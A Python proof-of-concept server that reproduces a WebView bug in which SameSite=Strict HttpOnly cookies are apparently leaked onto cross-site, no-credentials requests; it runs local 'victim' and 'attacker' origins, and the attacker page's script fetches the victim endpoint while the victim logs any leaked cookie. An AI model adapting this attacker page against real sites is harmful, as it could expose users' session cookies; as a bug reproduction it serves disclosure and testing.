#!/usr/bin/env python3
"""
Two-origin test server for the SameSite=Strict / HttpOnly cookie leak via
AwProxyingURLLoaderFactory's includeCookiesOnIntercept path.

  Port 8081  -> "victim" origin   (sets SameSite=Strict; HttpOnly cookie,
                                   logs received Cookie headers on /api)
  Port 8082  -> "attacker" origin (cross-site fetch to victim with
                                   credentials:'omit')

To make the two ports actually be cross-SITE (not just cross-origin),
map them to distinct registrable domains via Chrome host-resolver rules,
e.g.:

  --host-resolver-rules="MAP victim.test 127.0.0.1:8081, \
                         MAP attacker.test 127.0.0.1:8082"

Then point the WebView at http://victim.test/set first (to plant the
cookie), and then at http://attacker.test/ to launch the cross-site
fetch.

Expected (vulnerable) behaviour: the GET to http://victim.test/api that
originates from attacker.test with credentials:'omit' arrives with
"Cookie: session=SECRET-STRICT-HTTPONLY" — i.e. the SameSite=Strict
HttpOnly cookie was leaked onto a cross-site, no-credentials request.
"""

import http.server
import socketserver
import sys
import threading
import urllib.parse

VICTIM_PORT = 8081
ATTACKER_PORT = 8082

VICTIM_HOST = "victim.test"
ATTACKER_HOST = "attacker.test"

LEAK_LOG = []  # (path, cookie_header, origin_header)


# --------------------------------------------------------------------------- #
# Victim
# --------------------------------------------------------------------------- #
class VictimHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path

        if path == "/set":
            # Plant the protected cookie. SameSite=Strict + HttpOnly so a
            # correctly-behaving UA will NEVER attach it to a cross-site
            # subresource request.
            self.send_response(200)
            self.send_header(
                "Set-Cookie",
                "session=SECRET-STRICT-HTTPONLY; Path=/; HttpOnly; SameSite=Strict",
            )
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.end_headers()
            self.wfile.write(
                b"<!doctype html><title>victim</title>"
                b"<p>SameSite=Strict; HttpOnly cookie set.</p>"
                b"<p>Now navigate the WebView to "
                + f"http://{ATTACKER_HOST}/".encode()
                + b"</p>"
            )
            return

        if path == "/api":
            cookie = self.headers.get("Cookie")
            origin = self.headers.get("Origin")
            LEAK_LOG.append((self.path, cookie, origin))
            leaked = bool(cookie and "session=SECRET-STRICT-HTTPONLY" in cookie)
            sys.stderr.write(
                "\n[VICTIM /api] Origin=%r Cookie=%r  ->  %s\n"
                % (
                    origin,
                    cookie,
                    "*** SAME-SITE=STRICT COOKIE LEAKED ***" if leaked else "no leak",
                )
            )
            sys.stderr.flush()

            self.send_response(200)
            # Allow CORS so fetch() resolves cleanly; not security-relevant.
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(
                b"LEAKED\n" if leaked else b"OK (no SameSite=Strict cookie)\n"
            )
            return

        self.send_response(404)
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[victim:%d] %s\n" % (VICTIM_PORT, fmt % args))


# --------------------------------------------------------------------------- #
# Attacker
# --------------------------------------------------------------------------- #
ATTACKER_PAGE = f"""<!doctype html>
<meta charset="utf-8">
<title>attacker</title>
<h1>attacker.test</h1>
<pre id="log">cross-site fetch with credentials:'omit' &rarr; victim.test ...</pre>
<script>
(async () => {{
  const log = document.getElementById('log');
  try {{
    // mode:'no-cors' / credentials:'omit' — a correctly behaving UA must
    // never attach victim.test cookies (let alone SameSite=Strict+HttpOnly)
    // to this request.
    await fetch('http://{VICTIM_HOST}/api?from=attacker', {{
      mode: 'no-cors',
      credentials: 'omit',
    }});
    log.textContent += '\\nfetch sent — check victim server log for Cookie header.';
  }} catch (e) {{
    log.textContent += '\\nfetch error: ' + e;
  }}

  // Variant: image subresource (credentialed by default, but cookie is
  // SameSite=Strict so it must still be withheld cross-site).
  new Image().src = 'http://{VICTIM_HOST}/api?from=attacker-img';
}})();
</script>
""".encode()


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        self.wfile.write(ATTACKER_PAGE)

    def log_message(self, fmt, *args):
        sys.stderr.write("[attacker:%d] %s\n" % (ATTACKER_PORT, fmt % args))


# --------------------------------------------------------------------------- #
def serve(port, handler):
    class ReuseTCPServer(socketserver.TCPServer):
        allow_reuse_address = True

    httpd = ReuseTCPServer(("127.0.0.1", port), handler)
    httpd.serve_forever()


if __name__ == "__main__":
    threading.Thread(
        target=serve, args=(VICTIM_PORT, VictimHandler), daemon=True
    ).start()
    threading.Thread(
        target=serve, args=(ATTACKER_PORT, AttackerHandler), daemon=True
    ).start()
    sys.stderr.write(
        "victim   : http://127.0.0.1:%d  (map to %s)\n"
        "attacker : http://127.0.0.1:%d  (map to %s)\n"
        "\n"
        "1) load http://%s/set   to plant SameSite=Strict;HttpOnly cookie\n"
        "2) load http://%s/      to launch cross-site fetch\n"
        "3) watch this console for '*** SAME-SITE=STRICT COOKIE LEAKED ***'\n"
        % (VICTIM_PORT, VICTIM_HOST, ATTACKER_PORT, ATTACKER_HOST, VICTIM_HOST, ATTACKER_HOST)
    )
    threading.Event().wait()